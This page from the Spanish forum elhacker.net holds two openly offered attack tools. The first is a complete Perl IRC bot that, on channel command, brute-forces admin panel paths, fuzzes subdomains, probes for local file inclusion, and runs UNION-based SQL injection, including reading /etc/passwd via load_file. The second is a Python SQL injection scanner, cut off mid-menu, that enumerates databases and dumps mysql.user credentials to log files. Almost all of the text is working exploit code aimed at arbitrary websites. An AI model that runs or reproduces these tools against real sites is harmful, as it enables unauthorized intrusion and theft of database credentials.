elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


  Mostrar Temas
Páginas: 1 ... 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 [40] 41 42 43
391  Programación / Scripting / [Perl] Terr0r B0t By Doddy H en: 7 Octubre 2011, 15:55 pm
Hola a todos.

Hoy les traigo un programa que hice anoche , este es un bot irc ,el cual
tiene las siguientes opciones :

* Codificacion y decodificacion de base64 , hex , ascii
* Buscar panel de administracion de algun sitio
* Scan SQLI  (busca numero de columnas y da info)
* Tool para explotar LFI

Comandos para el bot en el canal

Código:
!base64 encode/decode string
!hex encode/decode string
!ascii encode/decode string
!panel http://127.0.0.1 
!sqli http://127.0.0.1/sql.php?id=
!lfi http://127.0.0.1/lfi.php?file='

Forma de uso :

Código:
C:/Users/DoddyH/Desktop/Arsenal X>terror-b0t.pl


[+] tERR0R b0T (c) dODDy HacKMaN 2010

[+] Starting the bot
[+] Online



Código
  1. #!usr/bin/perl
  2. #Terr0r B0t (C) Doddy Hackman 2010
  3. #Commands to use
  4. #
  5. #!base64 encode/decode string
  6. #!hex encode/decode string
  7. #!ascii encode/decode string
  8. #!panel http://127.0.0.1
  9. #!sqli http://127.0.0.1/sql.php?id=
  10. #!lfi http://127.0.0.1/lfi.php?file='
  11. #
  12. #
  13.  
  14.  
  15.  
  16.  
  17.  
  18. use IO::Socket;
  19. use LWP::UserAgent;
  20. use HTTP::Request::Common;
  21.  
  22.  
  23.  
  24. @dns = ('www','www1','www2','www3','ftp','ns','mail','3com','aix','apache','back','bind','boreder','bsd','business','chains','cisco','content','corporate','cpv','dns','domino','dominoserver','download','e-mail','e-safe','email','esafe','external','extranet','firebox','firewall','front','fw','fw0','fwe','fw-1','firew','gate','gatekeeper','gateway','gauntlet','group','help','hop','hp','hpjet','hpux','http','https','hub','ibm','ids','info','inside','internal','internet','intranet','ipfw','irix','jet','list','lotus','lotusdomino','lotusnotes','lotusserver','mailfeed','mailgate','mailgateway','mailgroup','mailhost','maillist','mailpop','mailrelay','mimesweeper','ms','msproxy','mx','nameserver','news','newsdesk','newsfeed','newsgroup','newsroom','newsserver','nntp','notes','noteserver','notesserver','nt','outside','pix','pop','pop3','pophost','popmail','popserver','print','printer','private','proxy','proxyserver','public','qpop','raptor','read','redcreek','redhat','route','router','scanner','screen','screening','s#ecure','seek','smail','smap','smtp','smtpgateway','smtpgw','solaris','sonic','spool','squid','sun','sunos','suse','switch','transfer','trend','trendmicro','vlan','vpn','wall','web','webmail','webserver','webswitch','win2000','win2k','upload','file','fileserver','storage','backup','share','core','gw','wingate','main','noc','home','radius','security','access','dmz','domain','sql','mysql','mssql','postgres','db','database','imail','imap','exchange','sendmail','louts','test','logs','stage','staging','dev','devel','ppp','chat','irc','eng','admin','unix','linux','windows','apple','hp-ux','bigip','pc');
  25.  
  26.  
  27. @panels=('admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','administrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/');
  28.  
  29. my $nave = LWP::UserAgent->new();
  30. $nave->timeout(13);
  31. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  32.  
  33.  
  34. print "\n[+] tERR0R b0T (c) dODDy HacKMaN 2010\n\n";
  35.  
  36. my $servidor = "127.0.0.1"; #Servidor IRC
  37. my $canal = "#locos"; #Canal IRC del servidor especificado
  38. my $nick = "Lepuke-Slave"; # Apodo del bot
  39. my $port = "6667"; # Puerto del servidor IRC
  40.  
  41. print "[+] Starting the bot\n";
  42.  
  43. my $soquete = new IO::Socket::INET( PeerAddr =>$servidor,
  44. PeerPort => $port,
  45. Proto => 'tcp' );
  46.  
  47. if (!$soquete) {
  48. print "\n[-] No se puedo conectar en $servidor $port\n";
  49. exit 1;
  50. }
  51.  
  52.  
  53. print $soquete "NICK $nick\r\n";
  54. print $soquete "USER $nick 1 1 1 1\r\n";
  55. print $soquete "JOIN $canal\r\n";
  56.  
  57. print "[+] Online\n\n";
  58.  
  59. while ( my $log = <$soquete> ) {
  60. chomp($log);
  61.  
  62. if ($log =~ /^PING(.*)$/i){
  63. print $soquete "PONG $1\r\n";
  64. }
  65.  
  66. if($log =~ m/:!panel (.*)$/g) {
  67. scan($1);
  68. print $soquete "PRIVMSG $canal : [+] Scan Finished\r\n";
  69. }
  70.  
  71. if($log =~ m/:!sqli (.*)$/g) {
  72. print $soquete "PRIVMSG $canal : [+] SQL Scan Starting\r\n";
  73. scan2($1);
  74. }
  75.  
  76. if($log =~ m/:!fuzzdns (.*)$/g) {
  77. scan1($1);
  78. print $soquete "PRIVMSG $canal : [+] Scan Finished\r\n";
  79. }
  80.  
  81. if($log =~ m/:!lfi (.*)$/g) {
  82. lfi($1);
  83. print $soquete "PRIVMSG $canal : [+] Scan Finished\r\n";
  84. }
  85.  
  86.  
  87.  
  88. if($log =~ m/:!base64 (.*) (.*)$/g) {
  89. use MIME::Base64;
  90. my ($opcion,$aa) = ($1,$2);
  91. if ($opcion eq "encode") {
  92. print $soquete "PRIVMSG $canal : [+] Text : $aa\r\n";
  93. print $soquete "PRIVMSG $canal : [+] Encode : ".encode_base64($aa)."\r\n";
  94. }
  95. elsif ($opcion eq "decode") {
  96. print $soquete "PRIVMSG $canal : [+] Encode : $aa\r\n";
  97. print $soquete "PRIVMSG $canal : [+] Text : ".decode_base64($aa)."\r\n";
  98. }
  99. else {
  100. print $soquete "PRIVMSG $canal : ??\r\n";
  101. }
  102. }
  103.  
  104. if($log =~ m/:!ascii (.*) (.*)$/) {
  105. my ($opcion,$aa) = ($1,$2);
  106. chomp $aa;
  107. if ($opcion eq "encode") {
  108. print $soquete "PRIVMSG $canal : [+] Text : $aa\r\n";
  109. print $soquete "PRIVMSG $canal : [+] Encode : ".ascii($aa)."\r\n";
  110. }
  111. elsif ($opcion eq "decode") {
  112. print $soquete "PRIVMSG $canal : [+] Encode : $aa\r\n";
  113. print $soquete "PRIVMSG $canal : [+] Text : ".ascii_de($aa)."\r\n";
  114. }
  115. else {
  116. print $soquete "PRIVMSG $canal : ???\r\n";
  117. }
  118. }
  119.  
  120. if($log =~ m/:!hex (.*) (.*)$/) {
  121. my ($opcion,$aa) = ($1,$2);
  122. chomp $aa;
  123. if ($opcion eq "encode") {
  124. print $soquete "PRIVMSG $canal : [+] Text : $aa\r\n";
  125. print $soquete "PRIVMSG $canal : [+] Encode : ".encode($aa)."\r\n";
  126. } 
  127. elsif ($opcion eq "decode") {
  128. print $soquete "PRIVMSG $canal : [+] Encode : $aa\r\n";
  129. print $soquete "PRIVMSG $canal : [+] Text : ".decode($aa)."\r\n";
  130. }
  131. else {
  132. print $soquete "PRIVMSG $canal : ????\r\n";
  133. }
  134. }
  135. }
  136.  
  137. sub lfi { 
  138. print $soquete "PRIVMSG $canal : [+] Target confirmed : $_[0]"."\r\n";
  139. print $soquete "PRIVMSG $canal : [+] Status : [scanning]"."\r\n";
  140. $code = toma($_[0]);
  141. if ($code=~/No such file or directory in <b>(.*)<\/b> on line/ig) {
  142. print $soquete "PRIVMSG $canal : [+] Vulnerable !"."\r\n";
  143. print $soquete "PRIVMSG $canal : [*] Full path discloure detected : $1"."\r\n";
  144. print $soquete "PRIVMSG $canal : [+] Status : [fuzzing files]"."\r\n";
  145. for my $file(@buscar3) {
  146. $code1 = toma($_[0].$file);
  147. unless ($code1=~/No such file or directory in <b>(.*)<\/b> on line/ig) {
  148. $ok = 1;
  149. print $soquete "PRIVMSG $canal : [File Found] : ".$_[0].$file."\r\n";
  150. }
  151. }
  152. unless($ok == 1) {
  153. print $soquete "PRIVMSG $canal : [-] Dont found any file"."\r\n";
  154. }
  155. } else {
  156. print $soquete "PRIVMSG $canal : [-] Page not vulnerable to LFI"."\r\n";
  157. }
  158. }
  159.  
  160.  
  161. sub scan1 {
  162. print $soquete "PRIVMSG $canal : [*] Searching DNS to ".$_[0]."\r\n";
  163. for my $path(@dns) {
  164. $code = tomax("http://".$path.".".$_[0]);
  165. if ($code->is_success) {
  166. print $soquete "PRIVMSG $canal : http://".$path.".".$_[0]."\r\n";
  167. }
  168. }
  169. }
  170.  
  171. sub scan {
  172. print $soquete "PRIVMSG $canal [*] Searching panels to ".$_[0]."\r\n";
  173. for my $path(@panels) {
  174. $code = tomax($_[0]."/".$path);
  175. if ($code->is_success) {
  176. print "\a";
  177. $ct = 1;
  178. print $soquete "PRIVMSG $canal [Link] : ".$_[0]."/".$path."\r\n";
  179. }
  180. }
  181. if ($ct ne 1) { 
  182. print $soquete "PRIVMSG $canal [-] Not found any path\r\n";
  183. }
  184. }
  185.  
  186.  
  187.  
  188. sub scan2 {
  189.  
  190. my $rows  = "0";
  191. my $asc;
  192. my $page = $_[0];
  193.  
  194. ($pass1,$pass2) = &bypass($ARGV[1]);
  195. $inyection = $page."-1".$pass1."order".$pass1."by"."9999999999".$pass2;
  196. $code = toma($inyection);
  197. if($code=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $code=~ /mysql_free_result/ig || $code =~ /mysql_fetch_assoc/ig ||$code =~ /mysql_num_rows/ig || $code =~ /mysql_fetch_array/ig || $code =~/mysql_fetch_assoc/ig || $code=~/mysql_query/ig || $code=~/mysql_free_result/ig || $code=~/equivocado en su sintax/ig || $code=~/You have an error in your SQL syntax/ig || $code=~/Call to undefined function/ig) {
  198. $code1 = toma($page."-1".$pass1."union".$pass1."select".$pass1."666".$pass2);
  199. if ($code1=~/The used SELECT statements have a different number of columns/ig) {
  200. my $path = $1;
  201. chomp $path;
  202. $alert = "char(".ascii("RATSXPDOWN1RATSXPDOWN").")";
  203. $total = "1";
  204. for my $rows(2..52) {
  205. $asc.= ","."char(".ascii("RATSXPDOWN".$rows."RATSXPDOWN").")"; 
  206. $total.= ",".$rows;
  207. $injection = $page."-1".$pass1."union".$pass1."select".$pass1.$alert.$asc;
  208. $test = toma($injection);
  209. if ($test=~/RATSXPDOWN/) {
  210. @number = $test =~m{RATSXPDOWN(\d+)RATSXPDOWN}g;
  211. print $soquete "PRIVMSG $canal : [Page] : $page\r\n";
  212. print $soquete "PRIVMSG $canal : [Limit] : The site has $rows columns\r\n";
  213. print $soquete "PRIVMSG $canal : [Data] : The number @number print data\r\n";
  214. if ($test=~/RATSXPDOWN(\d+)/) {
  215. if ($path) {
  216. print $soquete "PRIVMSG $canal : [Full Path Discloure] : $path\r\n";
  217. }
  218. $total=~s/@number[0]/hackman/;
  219. print $soquete "PRIVMSG $canal : [+] Injection SQL : ".$page."-1".$pass1."union".$pass1."select".$pass1.$total."\r\n";
  220. &details($page."-1".$pass1."union".$pass1."select".$pass1.$total,$_[1]);
  221. last;
  222. }
  223. }
  224. }
  225. }
  226. } 
  227.  
  228. sub details {
  229. my $page = $_[0];
  230. ($pass1,$pass2) = &bypass($ARGV[1]);
  231. if ($page=~/(.*)hackman(.*)/ig) {
  232. my $start = $1; my $end = $2;
  233. $test1 = toma($start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."information_schema.tables".$pass2);
  234. $test2 = toma($start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."mysql.user".$pass2);
  235. $test3 = toma($start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);
  236. if ($test2=~/ERTOR854/ig) {
  237. print $soquete "PRIVMSG $canal : [+] Posibilidad de ver usuarios con mysql.user\r\n";
  238. }
  239. if ($test1=~/ERTOR854/ig) {
  240. print $soquete "PRIVMSG $canal : [+] Se pueden ver todo con information_schema\r\n";
  241. }
  242. if ($test3=~/ERTOR854/ig) {
  243. print $soquete "PRIVMSG $canal : [+] load_file permite ver los archivos\r\n";
  244. }
  245. $code = toma($start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),version(),char(69,82,84,79,82,56,53,52),database(),char(69,82,84,79,82,56,53,52),user(),char(69,82,84,79,82,56,53,52))))".$end.$pass2);
  246. if ($code=~/ERTOR854(.*)ERTOR854(.*)ERTOR854(.*)ERTOR854/g) {
  247. print $soquete "PRIVMSG $canal : [!] DB Version : $1\r\n";
  248. print $soquete "PRIVMSG $canal : [!] DB Name : $2\r\n";
  249. print $soquete "PRIVMSG $canal : [!] user_name : $3\r\n";
  250. } else {
  251. print $soquete "PRIVMSG $canal : [-] Not found any data\r\n";
  252. }
  253. print $soquete "PRIVMSG $canal : [+] Scan Finished\r\n";
  254. }
  255. }
  256. }
  257.  
  258. sub bypass {
  259. if ($_[0] eq "/*") { return ("/**/","/*"); }
  260. elsif ($_[0] eq "%20") { return ("%20","%00"); }
  261. else {return ("+","--");}}
  262.  
  263.  
  264. sub ascii {
  265. return join ',',unpack "U*",$_[0]; 
  266. }
  267.  
  268. sub ascii_de {
  269. $_[0] = join q[], map { chr } split q[,],$_[0];
  270. return $_[0];
  271. }
  272.  
  273.  
  274. sub encode {
  275. my $string = $_[0];
  276. $hex = '0x';
  277. for (split //,$string) {
  278. $hex .= sprintf "%x", ord;
  279. }return $hex;}
  280.  
  281. sub decode {
  282. $_[0] =~ s/^0x//;
  283. $encode = join q[], map { chr hex } $_[0] =~ /../g;
  284. return $encode;
  285. }
  286.  
  287. sub toma {
  288. return $nave->request (GET $_[0])->content;
  289. }
  290.  
  291. sub tomax {
  292. return $nave->request (GET $_[0]);
  293. }
  294.  
  295. #The End
  296.  
  297.  
  298.  
392  Programación / Scripting / [Python] SQL Scanner 0.3 en: 7 Octubre 2011, 01:40 am
Bueno este es un simple scanner en python que hice para SQLI

Con las sig opciones :

  • Verifica vulnerabilidad
  • Busca columnas
  • Busca el numero milagroso y saca info sobre la DB
  • Saca tablas y columnas de de la DB actual o otra externa
  • Dumpear usuarios
  • Guarda todo en un log con el nombre de la web en la carpeta /logs
Código
  1. #!usr/bin/python
  2. #SQL Scanner 0.3 (C) Doddy Hackman 2010
  3.  
  4. import os,sys,urllib2,re,binascii
  5. from urlparse import urlparse
  6.  
  7. def clean():
  8.  if sys.platform=="win32":
  9.   os.system("cls")
  10.  else:
  11.   os.system("clear")
  12.  
  13. def savefile(name,text):
  14.  file = open(name,"a")
  15.  file.write("\n"+text+"\n")
  16.  file.close()
  17.  
  18. def gethost(test):
  19.  return urlparse(test).netloc
  20.  
  21. def header() : 
  22.  print "\n--== SQL Scanner ==--\n"
  23.  
  24. def copyright() : 
  25.  print "\n\n(C) Doddy Hackman 2010\n"
  26.  sys.exit(1)
  27.  
  28. def show() :
  29.  print "\n[*] Sintax : ",sys.argv[0]," <web>\n"
  30.  
  31. def toma(web) :
  32.  nave = urllib2.Request(web)
  33.  nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
  34.  op = urllib2.build_opener()
  35.  return op.open(nave).read()
  36.  
  37. def bypass(bypass): 
  38.  if bypass == "--":
  39.   return("+","--")
  40.  elif bypass == "/*":
  41.   return("/**/","/*")
  42.  else: 
  43.   return("+","--")
  44.  
  45.  
  46. def dumper(web,passx,table,col1,col2):
  47.  
  48.  pass1,pass2 = bypass(passx)
  49.  web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
  50.  web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,"+col1+",0x4b30425241,0x4B3042524131,"+col2+",0x4B3042524131)))",web)
  51.  code1 = toma(web1+pass1+"from"+pass1+table+pass2)
  52.  print "\n\n[+] Searching values\n\n"
  53.  if (re.findall("K0BRA(.*?)K0BRA",code1)):
  54.   numbers = re.findall("K0BRA(.*?)K0BRA",code1)
  55.   numbers = numbers[0]
  56.   print "[+] Values Found : ",numbers,"\n"	
  57.   for counter in range(0,int(numbers)):
  58.    code2 = toma(web2+pass1+"from"+pass1+table+pass1+"limit"+pass1+repr(counter)+",1"+pass2)	
  59.    if (re.findall("K0BRA(.*?)K0BRA",code2)):
  60.     c1 = re.findall("K0BRA(.*?)K0BRA",code2)
  61.     c1 = c1[0]
  62.  
  63.     c2 = re.findall("K0BRA1(.*?)K0BRA1",code2)
  64.     c2 = c2[0]
  65.     print "["+col1+"] : "+c1
  66.     print "["+col2+"] : "+c2+"\n"
  67.     savefile("logs/"+gethost(web)+".txt","["+col1+"] : "+c1)
  68.     savefile("logs/"+gethost(web)+".txt","["+col2+"] : "+c2+"\n")
  69.  else:
  70.   print "[-] Not Found\n"
  71.  
  72.  
  73.  
  74. def mysqluser(web,passx):
  75.  pass1,pass2 = bypass(passx)
  76.  web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
  77.  web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,Host,0x4b30425241,0x4B3042524131,User,0x4B3042524131,0x4B3042524132,Password,0x4B3042524132)))",web)
  78.  code1 = toma(web1+pass1+"from"+pass1+"mysql.user"+pass2)
  79.  print "\n\n[+] Searching mysql.user\n\n"
  80.  if (re.findall("K0BRA(.*?)K0BRA",code1)):
  81.   numbers = re.findall("K0BRA(.*?)K0BRA",code1)
  82.   numbers = numbers[0]
  83.   print "[+] mysql.user : ON"
  84.   savefile("logs/"+gethost(web)+".txt","[+] mysql.user : ON")
  85.   savefile("logs/"+gethost(web)+".txt","[+] Users Found : "+numbers+"\n")
  86.   print "[+] Users Found : ",numbers,"\n"	
  87.   for counter in range(0,int(numbers)):
  88.    code2 = toma(web2+pass1+"from"+pass1+"mysql.user"+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
  89.    if (re.findall("K0BRA(.*?)K0BRA",code2)):
  90.     host = re.findall("K0BRA(.*?)K0BRA",code2)
  91.     host = host[0]
  92.  
  93.     user = re.findall("K0BRA1(.*?)K0BRA1",code2)
  94.     user = user[0]
  95.  
  96.     passw = re.findall("K0BRA2(.*?)K0BRA2",code2)
  97.     passw = passw[0]
  98.     savefile("logs/"+gethost(web)+".txt","[Host] : "+host)
  99.     savefile("logs/"+gethost(web)+".txt","[User] : "+user)
  100.     savefile("logs/"+gethost(web)+".txt","[Pass] : "+passw+"\n")
  101.     print "[Host] : "+host
  102.     print "[User] : "+user
  103.     print "[Pass] : "+passw+"\n"    
  104.  else:
  105.   print "[-] Not Found\n" 
  106.  
  107.  
  108.  
  109. def showcolumnsdb(web,db,table,passx):
  110.  db = "0x"+str(binascii.hexlify(db))
  111.  table = "0x"+str(binascii.hexlify(table))
  112.  pass1,pass2 = bypass(passx)
  113.  web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
  114.  web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,column_name,0x4b30425241)))",web)
  115.  code1 = toma(web1+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+table+pass1+"and"+pass1+"table_schema="+db+pass2)	
  116.  print "\n\n[+] Searching columns in DB\n\n"
  117.  if (re.findall("K0BRA(.*?)K0BRA",code1)):
  118.   numbers = re.findall("K0BRA(.*?)K0BRA",code1)
  119.   numbers = numbers[0]
  120.   savefile("logs/"+gethost(web)+".txt","[DB] : "+db)
  121.   savefile("logs/"+gethost(web)+".txt","[DB] : "+table)
  122.   print "[+] information_schema : ON"
  123.   print "[+] Columns Found : ",numbers,"\n"	
  124.   for counter in range(0,int(numbers)):
  125.    code2 = toma(web2+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+table+pass1+"and"+pass1+"table_schema="+db+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
  126.    if (re.findall("K0BRA(.*?)K0BRA",code2)):
  127.     column = re.findall("K0BRA(.*?)K0BRA",code2)
  128.     column = column[0]
  129.     savefile("logs/"+gethost(web)+".txt","[Column Found] : "+column)
  130.     print "[Column Found] : "+column
  131.  
  132.  else:
  133.   print "[-] Not Found\n"
  134.  
  135.  
  136. def showtablesdb(web,db,passx):
  137.  db = "0x"+str(binascii.hexlify(db))
  138.  pass1,pass2 = bypass(passx)
  139.  web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
  140.  web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,table_name,0x4b30425241)))",web)
  141.  code1 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass1+"where"+pass1+"table_schema="+db+pass2)	
  142.  print "\n\n[+] Searching tables in DB\n\n"
  143.  savefile("logs/"+gethost(web)+".txt","[DB] : "+db)
  144.  if (re.findall("K0BRA(.*?)K0BRA",code1)):
  145.   numbers = re.findall("K0BRA(.*?)K0BRA",code1)
  146.   numbers = numbers[0]
  147.   print "[+] information_schema : ON"
  148.   print "[+] Tables Found : ",numbers,"\n"	
  149.   for counter in range(0,int(numbers)):
  150.    code2 = toma(web2+pass1+"from"+pass1+"information_schema.tables"+pass1+"where"+pass1+"table_schema="+db+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
  151.  
  152.    if (re.findall("K0BRA(.*?)K0BRA",code2)):
  153.     table = re.findall("K0BRA(.*?)K0BRA",code2)
  154.     table = table[0]
  155.     print "[Table Found] : "+table
  156.     savefile("logs/"+gethost(web)+".txt","[Table Found] : "+table)
  157.  else:
  158.   print "[-] Not Found\n"
  159.  
  160.  
  161.  
  162. def showtables(web,passx):
  163.  pass1,pass2 = bypass(passx)
  164.  web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(table_name),0x4b30425241)))",web)
  165.  web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,table_name,0x4b30425241)))",web)
  166.  code1 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass2)
  167.  print "\n\n[+] Searching tables\n\n"
  168.  if (re.findall("K0BRA(.*?)K0BRA",code1)):
  169.   numbers = re.findall("K0BRA(.*?)K0BRA",code1)
  170.   numbers = numbers[0]
  171.   print "[+] information_schema : ON"
  172.   print "[+] Tables Found : ",numbers,"\n"	
  173.   for counter in range(17,int(numbers)):
  174.    code2 = toma(web2+pass1+"from"+pass1+"information_schema.tables"+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
  175.    if (re.findall("K0BRA(.*?)K0BRA",code2)):
  176.     table = re.findall("K0BRA(.*?)K0BRA",code2)
  177.     table = table[0]
  178.     print "[Table Found] : "+table
  179.     savefile("logs/"+gethost(web)+".txt","[Table Found] : "+table)
  180.  else:
  181.   print "[-] Not Found\n"
  182.  
  183.  
  184.  
  185. def showcolumns(tabla,web,passx):
  186.  pass1,pass2 = bypass(passx)
  187.  tabla = "0x"+str(binascii.hexlify(tabla))
  188.  web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(column_name),0x4b30425241)))",web)
  189.  web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,column_name,0x4b30425241)))",web)
  190.  code1 = toma(web1+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tabla+pass2)
  191.  print "\n\n[+] Searching tables\n\n"
  192.  savefile("logs/"+gethost(web)+".txt","[Table Found] : "+tabla)
  193.  if (re.findall("K0BRA(.*?)K0BRA",code1)):
  194.   numbers = re.findall("K0BRA(.*?)K0BRA",code1)
  195.   numbers = numbers[0]
  196.   print "[+] information_schema : ON"
  197.   print "[+] Columns Found : ",numbers,"\n"	
  198.   for counter in range(0,int(numbers)):
  199.    code2 = toma(web2+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tabla+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
  200.    if (re.findall("K0BRA(.*?)K0BRA",code2)):
  201.     column = re.findall("K0BRA(.*?)K0BRA",code2)
  202.     column = column[0]
  203.     print "[Column Found] : "+column
  204.     savefile("logs/"+gethost(web)+".txt","[Column Found] : "+column)
  205.  else:
  206.   print "[-] Not Found\n"
  207.  
  208.  
  209.  
  210.  
  211. def showdbs(web,passx):
  212.  pass1,pass2 = bypass(passx)
  213.  web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
  214.  web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,schema_name,0x4b30425241)))",web)
  215.  code1 = toma(web1+pass1+"from"+pass1+"information_schema.schemata"+pass2)
  216.  print "\n\n[+] Searching DBS\n\n"
  217.  if (re.findall("K0BRA(.*?)K0BRA",code1)):
  218.   numbers = re.findall("K0BRA(.*?)K0BRA",code1)
  219.   numbers = numbers[0]
  220.   print "[+] information_schema : ON"
  221.   print "[+] DBS Found : ",numbers,"\n"	
  222.   for counter in range(0,int(numbers)):
  223.    code2 = toma(web2+pass1+"from"+pass1+"information_schema.schemata"+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
  224.    if (re.findall("K0BRA(.*?)K0BRA",code2)):
  225.     db = re.findall("K0BRA(.*?)K0BRA",code2)
  226.     db = db[0]
  227.     print "[DB Found] : "+db
  228.     savefile("logs/"+gethost(web)+".txt","[DB Found] : "+db)
  229.  else:
  230.   print "[-] Not Found\n"
  231.  
  232.  
  233.  
  234.  
  235. def menu(page,bypass):
  236.  clean()
  237.  header()
  238.  print "\n[+] Target : ",page,"\n"
  239.  print "\n[information_schema]\n\n"
  240.  print "1 - Show tables\n"
  241.  print "2 - Show columns of the a table\n"
  242.  print "3 - Show databases\n"
  243.  print "4 - Show tables from the a DB\n"
  244.  print "5 - Show columns from the a table of the DB\n"
  245.  print "\n[mysql.user]\n\n"
  246.  print "6 - Show users\n"
  247.  print "\n[Others]\n\n"
  248.  print "7 - Show details\n"
  249.  print "8 - Dump data\n"
  250.  print "9 - Show log\n"
  251.  print "10 - Change target\n"
  252.  print "11 - Exit\n\n"
  253.  try:
  254.   op = input("[Option] : ")
  255.   if op == 1: 
  256.    showtables(page,bypass)
  257.    raw_input()    
  258.    menu(page,bypass)
  259.   elif op == 2:
  260.    table = raw_input("\n\n[Table] : ")
  261.    showcolumns(table,page,bypass)
  262.    raw_input() 
  263.    menu(page,bypass)
  264.   elif op == 3:
  265.    showdbs(page,bypass)
  266.    raw_input() 
  267.    menu(page,bypass)
  268.   elif op == 4:
